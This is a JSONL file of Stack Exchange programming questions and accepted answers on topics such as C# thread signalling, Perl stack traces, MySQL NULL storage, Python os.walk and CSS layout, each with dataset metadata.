{"id": "hf_518fbc999ec4", "question": "<p>Is there a way to reformat code, i.e. force correct indentation in FlashDevelop as you can do with CTRL-SHIFT-F in Eclipse?</p>\n", "question_body": "", "answer": "open netbeans 6.5, create an xml file and then paste your mxml code; right click, format code, finally copy this formatted text from netbeans and past it in flex builder. it´s all.... i hope to be usefull", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.545947"}
{"id": "hf_b30512b9cd66", "question": "<p>I find System.Monitor very confusing, although I understand threading, locks, deadlocks, race conditions, dining philosophers and all that jazz.  Normally I use a ManualResetEvent() to do inter-thread co-ordination, but I know that that's a heavyweight kernel object, and that System.Monitor (Enter/Pulse, etc.) is much more efficient.  I've Googled and Googled but cannot find a sensible example.</p>\n\n<p>I would be most grateful if the SO crew could explain this potentially wonderful construct to me :-)</p>\n", "question_body": "", "answer": "Here's a very simple example; the call to\n```\nWait\n```\nreleases the lock (allowing\n```\nWorker\n```\nto obtain it) and adds the\n```\nMain\n```\nthread to the lock-object's pending queue.\n```\nWorker\n```\nthen obtains the lock, and calls\n```\nPulse\n```\n: this moves the\n```\nMain\n```\nthread into the lock-object's ready queue. When\n```\nWorker\n```\nreleases\nthe lock,\n```\nMain\n```\ncan resume work.\nNote that\n```\nlock(obj) {...}\n```\nis just compiler-candy for\n```\nMonitor.Enter\n```\n/\n```\nMonitor.Exit\n```\nin a try/finally block.\n[edit: I changed the sample to move\n```\nlock(sync)\n```\nearlier, to avoid the (unlikely) risk of a missed Pulse]\n```\n```\nstatic void Main()\n    {\n        object sync = new object();\n        lock (sync)\n        {\n            ThreadPool.QueueUserWorkItem(Worker, sync);\n            Console.WriteLine(\"Main sleeping\");\n\n            // wait for the worker to tell us it is ready\n            Monitor.Wait(sync);\n            Console.WriteLine(\"Main woke up!\");\n        }\n        Console.WriteLine(\"Press any key...\");\n        Console.ReadKey();\n    }\n    static void Worker(object sync)\n    {\n        Console.WriteLine(\"Worker started; about to sleep\");\n        Thread.Sleep(5000);\n        Console.WriteLine(\"Worker about pulse\");\n        lock (sync)\n        { // notify Main that we did something interesting\n            Monitor.Pulse(sync);\n            Console.WriteLine(\"Worker pulsed; about to release lock\");\n        }\n        Console.WriteLine(\"Worker all done\");\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.568743"}
{"id": "hf_9427b87c96c3", "question": "<p>I am running the free version of Helicon ISAPI Rewrite on IIS and have several sites running through the same set of rewrite rules. Up 'til now this has been fine as all the rules have applied to all the sites. I have recently added a new site which I don't want to run through all the rules. Is there any way to make requests to this site break out of the rule set after it's executed its own rules.</p>\n\n<p>I've tried the following with no luck; all requests to mysite.com result in a 404. I guess what I'm looking for is a rule that does nothing and is marked as the last rule to execute [L].</p>\n\n<pre><code>## New site rule for mysite.com only\nRewriteCond  Host:  (?:www\\.)?mysite\\.com\nRewriteRule  /content([\\w/]*)   /content.aspx?page=$1 [L]\n\n## Break out of processing for all other requests to mysite.com\nRewriteCond  Host:  (?:www\\.)?mysite\\.com\nRewriteRule (.*) - [L]\n\n## Rules for all other sites\nRewriteRule ^/([^\\.\\?]+)/?(\\?.*)?$ /$1.aspx$2 [L]\n...\n</code></pre>\n", "question_body": "", "answer": "Rewrite it to itself?\n```\n```\nRewriteCond  Host:  (?:www\\.)?mysite\\.com\nRewriteRule ^(.*)$ $1 [QSA,L]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.677407"}
{"id": "hf_b494377ed840", "question": "<p>Is there a way I can access (for printout) a list of sub + module to arbitrary depth of sub-calls  preceding a current position in a Perl script?</p>\n\n<p>I need to make changes to some Perl modules (.pm's). The workflow is initiated from a web-page thru a cgi-script, passing input through several modules/objects ending in the module where I need to use the data. Somewhere along the line the data got changed and I need to find out where.</p>\n", "question_body": "", "answer": "You can use\nDevel::StackTrace\n.\n```\n```\nuse Devel::StackTrace;\nmy $trace = Devel::StackTrace->new;\nprint $trace->as_string; # like carp\n```\n```\nIt behaves like Carp's trace, but you can get more control over the frames.\nThe one problem is that references are stringified and if a referenced value changes, you won't see it.  However, you could whip up some stuff with\nPadWalker\nto print out the full data (it would be huge, though).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.701747"}
{"id": "hf_03bb05228e4e", "question": "<pre><code>$(\"#dvMyDIV\").bind(\"resize\", function(){\n    alert(\"Resized\");\n});\n</code></pre>\n\n<p>or</p>\n\n<pre><code>$(\"#dvMyDIV\").resize(function(){\n    alert(\"Resized\");\n});\n</code></pre>\n\n<p>The questions</p>\n\n<ol>\n<li>Why is this not working at FireFox, Chrome and Safari?</li>\n<li>Can this be considered a jQuery bug since the resize is not handled for other browsers?</li>\n<li>Could the only workaround be calling a SetTimeout function checking the clientHeight and clientWidth?</li>\n<li>Any workarounds using jQuery?</li>\n</ol>\n", "question_body": "", "answer": "I believe the JavaScript resize event only applies to frames or windows, not to DIVs.\ne.g. see\nthis page\n:\nThe onResize even handler is use to execute specified code whenever a user or script resizes a window or frame. This allows you to query the size and position of window elements, dynamically reset SRC properties etc.\nSo if you want to detect when the window is resized, in jQuery you should probably use\n```\n$(window).resize(function() { });\n```\nEdit:\nif you want to watch the size of a DIV, it depends on what your intention is. If you're resizing with JavaScript then you could implement a method to perform the resize and have that handle calling any other resize code.\nOtherwise, if you're just watching for the DIV to resize when someone resizes the window, wouldn't it just work to attach the resize listener to the window and then check if the DIV had been resized (i.e. store the old values of width / height and check them on resize)?\nFinally, you could consider using\nwatch\non the width / height properties, although I don't know whether this is fully browser-compatible (think this might be Mozilla-only). I did find\nthis jQuery plugin\nwhich looks like it might do the same thing though (with some slight modification).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.732366"}
{"id": "hf_9253ad193c6d", "question": "<p>How can I convert a relative path to an absolute path in C on Unix?\nIs there a convenient system function for this?</p>\n\n<p>On Windows there is a <code>GetFullPathName</code> function that does the job, but I didn't find something similar on Unix...</p>\n", "question_body": "", "answer": "Use\nrealpath()\n.\nThe\n```\nrealpath()\n```\nfunction shall derive,\n  from the pathname pointed to by\n```\nfile_name\n```\n, an absolute pathname that\n  names the same file, whose resolution\n  does not involve '\n```\n.\n```\n', '\n```\n..\n```\n', or\n  symbolic links. The generated pathname\n  shall be stored as a null-terminated\n  string, up to a maximum of\n```\n{PATH_MAX}\n```\nbytes, in the buffer pointed to by\n```\nresolved_name\n```\n.\nIf\n```\nresolved_name\n```\nis a null pointer,\n  the behavior of\n```\nrealpath()\n```\nis\n  implementation-defined.\nThe following example generates an\n  absolute pathname for the file\n  identified by the symlinkpath\n  argument. The generated pathname is\n  stored in the actualpath array.\n```\n```\n#include <stdlib.h>\n...\nchar *symlinkpath = \"/tmp/symlink/file\";\nchar actualpath [PATH_MAX+1];\nchar *ptr;\n\nptr = realpath(symlinkpath, actualpath);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.768337"}
{"id": "hf_403c2f87d866", "question": "<p>Is there any free java library which I can use to convert string in one encoding to other encoding, something like <a href=\"https://en.wikipedia.org/wiki/Iconv\" rel=\"nofollow noreferrer\"><code>iconv</code></a>? I'm using Java version 1.3.</p>\n", "question_body": "", "answer": "```\nCharsetDecoder\n```\nshould be what you are looking for, no ?\nMany network protocols and files store their characters with a byte-oriented character set such as\n```\nISO-8859-1\n```\n(\n```\nISO-Latin-1\n```\n).\nHowever, Java's native character encoding is\nUnicode\nUTF16BE (Sixteen-bit UCS Transformation Format, big-endian byte order).\nSee\n```\nCharset\n```\n. That doesn't mean\n```\nUTF16\n```\nis the default charset (i.e.: the default \"mapping between sequences of sixteen-bit\nUnicode code units\nand sequences of bytes\"):\nEvery instance of the Java virtual machine has a default charset, which may or may not be one of the standard charsets.\n[\n```\nUS-ASCII\n```\n,\n```\nISO-8859-1\n```\na.k.a.\n```\nISO-LATIN-1\n```\n,\n```\nUTF-8\n```\n,\n```\nUTF-16BE\n```\n,\n```\nUTF-16LE\n```\n,\n```\nUTF-16\n```\n]\nThe default charset is determined during virtual-machine startup and typically depends upon the locale and charset being used by the underlying operating system.\nThis example demonstrates how to convert\n```\nISO-8859-1\n```\nencoded bytes in a\n```\nByteBuffer\n```\nto a string in a\n```\nCharBuffer\n```\nand visa versa.\n```\n```\n// Create the encoder and decoder for ISO-8859-1\nCharset charset = Charset.forName(\"ISO-8859-1\");\nCharsetDecoder decoder = charset.newDecoder();\nCharsetEncoder encoder = charset.newEncoder();\n\ntry {\n    // Convert a string to ISO-LATIN-1 bytes in a ByteBuffer\n    // The new ByteBuffer is ready to be read.\n    ByteBuffer bbuf = encoder.encode(CharBuffer.wrap(\"a string\"));\n\n    // Convert ISO-LATIN-1 bytes in a ByteBuffer to a character ByteBuffer and then to a string.\n    // The new ByteBuffer is ready to be read.\n    CharBuffer cbuf = decoder.decode(bbuf);\n    String s = cbuf.toString();\n} catch (CharacterCodingException e) {\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.791754"}
{"id": "hf_cad756a4d8da", "question": "<p>I need to test a web form that takes a file upload.\nThe filesize in each upload will be about 10 MB.\nI want to test if the server can handle over 100 simultaneous uploads, and still remain\nresponsive for the rest of the site.</p>\n\n<p>Repeated form submissions from our office will be limited by our local DSL line.\nThe server is offsite with higher bandwidth.</p>\n\n<p>Answers based on experience would be great, but any suggestions are welcome.</p>\n", "question_body": "", "answer": "I would perhaps guide you towards using cURL and submitting just random stuff (like, read 10MB out of\n```\n/dev/urandom\n```\nand encode it into base32), through a POST-request and manually fabricate the body to be a file upload (it's not rocket science).\nFork that script 100 times, perhaps over a few servers. Just make sure that sysadmins don't think you are doing a DDoS, or something :)\nUnfortunately, this answer remains a bit vague, but hopefully it helps you by nudging you in the right track.\nContinued as per Liam's comment:\nIf the server receiving the uploads is not in the same LAN as the clients connecting to it, it would be better to get as remote nodes as possible for stress testing, if only to simulate behavior as authentic as possible. But if you don't have access to computers outside the local LAN, the local LAN is always better than nothing.\nStress testing from inside the same hardware would be not a good idea, as you would do double load on the server: Figuring out the random data, packing it, sending it through the TCP/IP stack (although probably not over Ethernet), and\nonly then\ncan the server do its magic. If the sending part is outsourced, you get double (taken with an arbitrary sized grain of salt) performance by the receiving end.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.828497"}
{"id": "hf_7b4c3f7a6cbf", "question": "<p>When using something like <code>object.methods.sort.to_yaml</code> I'd like to have irb interpret the \\n characters rather than print them. </p>\n\n<p>I currently get the following output:</p>\n\n<pre><code>--- \\n- \"&amp;\"\\n- \"*\"\\n- +\\n- \"-\"\\n- \"&lt;&lt;\"\\n- &lt;=&gt;\\n ...\n</code></pre>\n\n<p>What I'd like is something similar to this:</p>\n\n<pre><code>--- \n - \"&amp;\"\n - \"*\"\n - +\n - \"-\"\n - \"&lt;&lt;\"\n - &lt;=&gt;\n</code></pre>\n\n<p>Is this possible? Is there another method I can be calling which will interpret the string perhaps?</p>\n", "question_body": "", "answer": "That's just irb -- I don't think you can control the\n```\nreturn\n```\nformatting.\nYou can still use\n```\nprint\n```\nor\n```\nputs\n```\nto display it as you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.852182"}
{"id": "hf_07fe12ae9311", "question": "<p>How to convey a bad news to the client?</p>\n", "question_body": "", "answer": "What type of bad news?\nPeople in general like to break bad news by stating that the corrections / new timelines will be in place much earlier than we truely can accomplish. Be honest up front and dont give false hope. One instance of bad news is enough... no need to create new promises that you cant keep in the future.\nBottom Line: be honest to your client and yourself to control expectation management.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.877460"}
{"id": "hf_de5232048b44", "question": "<p>how to show all values of a particular field in a text box ???\nie. for eg. when u run the SP, u'll be getting 3 rows. and i want to show the (eg.empname)\nin a textbox each value separated by a comma. \n(ram, john, sita). </p>\n", "question_body": "", "answer": "I had this problem the other day. If you are using SQL 2005 you can use the CROSS APPLY function.\nHere is a sample;\n```\n```\nStructure; \nID TYPE TEXT\n1 1 Ram\n2 1 Jon\n3 2 Sita\n4 2 Joe\n\nExpecteed Output;\nID TYPE TEXT\n1 1 Ram, Jon\n2 2 Sita, Joe\n\nQuery; \nSELECT t.TYPE,LEFT(tl.txtlist,LEN(tl.txtlist)-1)\nFROM(SELECT DISTINCT TYPE FROM Table)t\nCROSS APPLY (SELECT TEXT + ','\n             FROM Table\n             WHERE TYPE=t.TYPE\n             FOR XML PATH(''))tl(txtlist)\n```\n```\nHope this helps :)\nRemember you'll need to select this as something in your sp, then bind that to the textbox on your report. Good luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.913728"}
{"id": "hf_edb56778144e", "question": "<p>After looking at other questions related to sharing solutions between VS 2005 and VS 2008 it seems that the way to go is to have two solution files (one for VS 2005 and one for VS 2008).  </p>\n\n<p>However, if the solution is under source control (VisualSVN in our case), how would we maintain two solution files and not keep overwriting one or the other with each update/commit?</p>\n\n<p>Is it possible to remove just the .sln file from source control and stop the VisualSVN client from checking its status in visual studio?</p>\n\n<p>Thanks</p>\n\n<p>Matt</p>\n", "question_body": "", "answer": "I'm not sure I see the problem - if you've got two solution files, why would either of them be overwritten? I do really mean two files, e.g. MyApp2005.sln and MyApp2008.sln, where when you create a new project you do it in the 2005 solution and then just \"add existing project\" in the 2008 solution.\nWhat would VisualSVN do to mess this up?\n(I have the same setup for my\nC# in Depth source code\n, and I use VisualSVN - I haven't seen any problems.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.939197"}
{"id": "hf_441c7244103e", "question": "<p>The code below gives me this mysterious error, and i cannot fathom it. I am new to regular expressions and so am consequently stumped. The regular expression should be validating any international phone number.</p>\n\n<p>Any help would be much appreciated.</p>\n\n<pre><code>function validate_phone($phone)\n{\n    $phoneregexp =\"^(\\+[1-9][0-9]*(\\([0-9]*\\)|-[0-9]*-))?[0]?[1-9][0-9\\- ]*$\";\n\n    $phonevalid = 0;\n\n    if (ereg($phoneregexp, $phone))\n    {\n        $phonevalid = 1;\n    }else{\n        $phonevalid = 0;\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "If this is PHP, then the regex must be enclosed in quotes.\nFurthermore, what's\n```\npreg\n```\n? Did you mean\n```\npreg_match\n```\n?\nAnother thing. PHP knows boolean values. The canonical solution would rather look like this:\n```\n```\nreturn preg_match($regex, $phone) !== 0;\n```\n```\nEDIT: Or, using\n```\nereg\n```\n:\n```\n```\nreturn ereg($regex, $phone) !== FALSE;\n```\n```\n(Here, the explicit test against\n```\nFALSE\n```\nisn't strictly necessary but since\n```\nereg\n```\nreturns a number upon success I feel safer coercing the value into a\n```\nbool\n```\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:53.963720"}
{"id": "hf_26a856d88d98", "question": "<p>I've a WEB application (with pure Java servlet) that have some heavy computational work, with database access, that can be done in asynchronous mode.\nI'm planning to use a dedicated server to execute such batch jobs and I'm wondering which tools/techniques/protocols to use for communication between servlets in the WEB server and batch jobs in the new dedicated server.\nI'm looking at JMS. Is it the right choice? \nThere are industry standard and/or widely adopted techniques?\nI need also queue and priority handling for multiple simultaneous jobs.</p>\n", "question_body": "", "answer": "Messaging is one of the best options.\nMake the messaging framework very generic so that it can handle any type of batch jobs.\nOne approach is to have an event/task manager where you put an event on the queue and the queue consumer processes the event and converts it into a set of tasks. The tasks can then be executed by separate task handlers. A task can also generate some more events that can be again put on the queues to provide a feedback loop. This way you can add work flow like features to the framework and allow your batch jobs to have dependencies on each other.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:54.025505"}
{"id": "hf_0b72f62cc104", "question": "<pre><code>&lt;div&gt;\n&lt;h1&gt;Title&lt;/h1&gt;\n&lt;table&gt;\n...\n&lt;/table&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>Now, the</p>\n\n<pre><code>&lt;h1&gt;\n</code></pre>\n\n<p>has a margin: 0;\nso it is at the top of the div. The height of the div is 300px.</p>\n\n<p>However I'd like the table to be placed at the bottom of the div, eg. valign=\"bottom\" but for the whole table.</p>\n", "question_body": "", "answer": "What about this:\n```\n```\n<style type=\"text/css\">\n#container { \n    position: absolute; \n    margin: 0;\n    height:300px;\n    border:1px solid #000; }\n#container h1 { \n    margin:0; }\n#tableContainer { \n    position: absolute;\n    bottom:0; }\n</style>\n\n<div id=\"container\">\n    <h1>Title</h1>\n    <div id=\"tableContainer\">\n        <table id=\"tableLayout\">\n            <tr><td>...</td></tr>\n        </table>\n    </div>\n</div>\n```\n```\nThe only problem is that both the container div and the tableContainer divs need to be absolute positioned. Not sure if this will work for your layout.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:54.086333"}
{"id": "hf_061b88a9ea69", "question": "<p>I find print_r in PHP extremely useful, but wonder if there is anything remotely equivalent in Perl?</p>\n", "question_body": "", "answer": "Note @tchrist recommends\nData::Dump\nover\nData::Dumper\n. I wasn't aware of it, but from the looks of it, seems like it's both far easier to use and producing better looking and easier to interpret results.\nData::Dumper\n:\nA snippet of the examples shown in the above link.\n```\n```\nuse Data::Dumper;\n\npackage Foo;\nsub new {bless {'a' => 1, 'b' => sub { return \"foo\" }}, $_[0]};\n\npackage Fuz;                       # a weird REF-REF-SCALAR object\nsub new {bless \\($_ = \\ 'fu\\'z'), $_[0]};\n\npackage main;\n$foo = Foo->new;\n$fuz = Fuz->new;\n$boo = [ 1, [], \"abcd\", \\*foo,\n         {1 => 'a', 023 => 'b', 0x45 => 'c'}, \n         \\\\\"p\\q\\'r\", $foo, $fuz];\n\n########\n# simple usage\n########\n\n$bar = eval(Dumper($boo));\nprint($@) if $@;\nprint Dumper($boo), Dumper($bar);  # pretty print (no array indices)\n\n$Data::Dumper::Terse = 1;          # don't output names where feasible\n$Data::Dumper::Indent = 0;         # turn off all pretty print\nprint Dumper($boo), \"\\n\";\n\n$Data::Dumper::Indent = 1;         # mild pretty print\nprint Dumper($boo);\n\n$Data::Dumper::Indent = 3;         # pretty print with array indices\nprint Dumper($boo);\n\n$Data::Dumper::Useqq = 1;          # print strings in double quotes\nprint Dumper($boo);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:54.109432"}
{"id": "hf_00f60fe5fbde", "question": "<p>What exactly does null do performance and storage (space) wise in MySQL?</p>\n\n<p>For example:</p>\n\n<p>TINYINT: 1 Byte\nTINYINT w/NULL 1 byte + somehow stores NULL?</p>\n", "question_body": "", "answer": "It depends on which storage engine you use.\nIn MyISAM format, each row header contains a bitfield with one bit for each column to encode NULL state.  A column that is NULL still takes up space, so NULL's don't reduce storage.  See\nhttps://dev.mysql.com/doc/internals/en/myisam-introduction.html\nIn InnoDB, each column has a \"field start offset\" in the row header, which is one or two bytes per column.  The high bit in that field start offset is on if the column is NULL.  In that case, the column doesn't need to be stored at all.  So if you have a lot of NULL's your storage should be significantly reduced.\nSee\nhttps://dev.mysql.com/doc/internals/en/innodb-field-contents.html\nEDIT:\nThe NULL bits are part of the row headers, you don't choose to add them.\nThe only way I can imagine NULLs improving performance is that in InnoDB, a page of data may fit more rows if the rows contain NULLs.  So your InnoDB buffers may be more effective.\nBut I would be very surprised if this provides a significant performance advantage in practice.  Worrying about the effect NULLs have on performance is in the realm of micro-optimization.  You should focus your attention elsewhere, in areas that give greater bang for the buck.  For example adding well-chosen indexes or increasing database cache allocation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:54.144298"}
{"id": "hf_df2486f21d3d", "question": "<p>How do I limit <code>os.walk</code> to only return files in the directory I provide it?</p>\n\n<pre><code>def _dir_list(self, dir_name, whitelist):\n    outputList = []\n    for root, dirs, files in os.walk(dir_name):\n        for f in files:\n            if os.path.splitext(f)[1] in whitelist:\n                outputList.append(os.path.join(root, f))\n            else:\n                self._email_to_(\"ignore\")\n    return outputList\n</code></pre>\n", "question_body": "", "answer": "You could use\n```\nos.listdir()\n```\nwhich returns a list of names (for both files and directories) in a given directory. If you need to distinguish between files and directories, call\n```\nos.stat()\n```\non each name.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:54.180699"}
{"id": "hf_4696f1b9fc46", "question": "<p>I would like to do remote deployment from my build machine onto a server. The remoting can be done via ssh commands from a script, but I would rather use phing and a deploy.xml file that would do the automation.</p>\n\n<p>What alternatives do I have to do ssh (and also scp) tasks from within a phing build file?</p>\n", "question_body": "", "answer": "I ran into the same problem about a year ago and back then i could not find a task. I ended up doing a exec task, this way it was all in the xml file.\n```\n```\n<exec command=\"scp -i keys/id_rsa myfile user@$server:myfile\" dir=\".\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:54.221064"}
{"id": "hf_24c414fce29a", "question": "<p>Is it quicker to make one trip to the database and bring back 3000+ plus rows, then manipulate them in .net &amp; LINQ or quicker to make 6 calls bringing back a couple of 100 rows at a time?</p>\n", "question_body": "", "answer": "It will entirely depend on the speed of the database, the network bandwidth and latency, the speed of the .NET machine, the actual queries etc.\nIn other words, we can't give you a truthful general answer. I know which sounds easier to code :)\nUnfortunately this is the kind of thing which you can't easily test usefully without having an\nexact\nreplica of the production environment - most test environments are somewhat different to the production environment, which could seriously change the results.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:54.257731"}
{"id": "hf_5d2795a319c2", "question": "<p>Do you always use a second-level cache in Hibernate or do you first try it without and only use it when the performance goes down?</p>\n", "question_body": "", "answer": "My usage of Hibernate has always been in the context of another framework (Spring, for example), where enabling caching is nearly trivial.  A number of these projects have made use of caching via\nehcache\nfor some critical domain classes.\nHaving said that, this is another area where we have to make trade-offs between resources - balancing retrieval performance against memory usage.  Optimization without measurement has been shown again and again to be poor practice.\nCollect metrics about the performance of your application.  Then decide how to address the slow spots.  Caching may be the least of  your worries.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:54.281986"}
{"id": "hf_a8585bc454cd", "question": "<p>When we add a variable to ASP.NET Session, where are those variables actually stored on the client side?</p>\n", "question_body": "", "answer": "If you are using the default session in ASP.NET then it is stored in memory inside the ASP.NET worker process. It is a server side cache, nothing at all to do with the client.\nThere are other session store options available such as dedicated session state machine or sql server. You can also roll your own session provider.\nAll explained here\nhttp://msdn.microsoft.com/en-us/library/ms972429.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:54.306219"}
{"id": "hf_797957ba3899", "question": "<p>What would be the disadvantages (if any) of automating business process for a Enterprise/organization?</p>\n", "question_body": "", "answer": "Loosing discretionary error checking, i.e. numbers that look out of line;\nPotentially, knowledge of how a process is operated could be lost if it is automated but not documented. More often than not, manual processes are passed on;\nAccountability for the process becomes muddled.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:54.330211"}
{"id": "hf_5fcde7f0b142", "question": "<p>Why should I choose to use one instead of the other and in which cases?</p>\n\n<p>I mainly focus on desktop applications and personally speaking I do find the humble dialog box more easy and natural to use.</p>\n", "question_body": "", "answer": "In MVC, you would still use your \"humble\" dialog. Except all the business logic for it would be farmed off to another class somewhere else.\nhttp://en.wikipedia.org/wiki/Model-view-controller\nYou need to weight up whether the investment in MVC will be worth it - especially if you're only working with a single simple dialog.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:54.354620"}
{"id": "hf_e0edfd42e05f", "question": "<p>As title, I need that to run an import script generated by SQL Server DB Publishing Tool. Would that work on Sql2000 server too? Also I have seen ppl reporting missing library issues related to GAC, which libraries I precisely need to include if I am not controlling the deployment server?</p>\n\n<p>To know how this thing works you can check here in MSDN Forum.\n<a href=\"http://forums.microsoft.com/msdn/ShowPost.aspx?PostID=3947420&amp;SiteID=1\" rel=\"nofollow noreferrer\">http://forums.microsoft.com/msdn/ShowPost.aspx?PostID=3947420&amp;SiteID=1</a></p>\n\n<p>I tested and indeed it works in my devbox with SQL2005 Express installed.</p>\n", "question_body": "", "answer": "Yes, SMO works on SQL Server 2000:\nSMO and Sql Server 7.0", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:54.378234"}
{"id": "hf_731926cd5064", "question": "<pre><code>&lt;div style=\"width: 300px\"&gt;\n&lt;div id=\"one\" style=\"float: left\"&gt;saved&lt;/div&gt;&lt;input type=\"submit\" id=\"two\" style=\"float: right\" value=\"Submit\" /&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>I would like div#one to be centred in the space between the left edge of the parent div and the left edge of the submit button.</p>\n", "question_body": "", "answer": "There are a number of techniques listed\nhere\nHowever, if you simply wanted the \"saved\" text to be centred, I think you'll need to give a width to #one, e.g.\n```\n```\n<div style=\"width: 300px\">\n<div id=\"one\" style=\"float: left;text-align:center;width:80%\">saved</div>\n<input type=\"submit\" id=\"two\" style=\"float: right;width:20%\" value=\"Submit\" />\n</div>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:54.437945"}
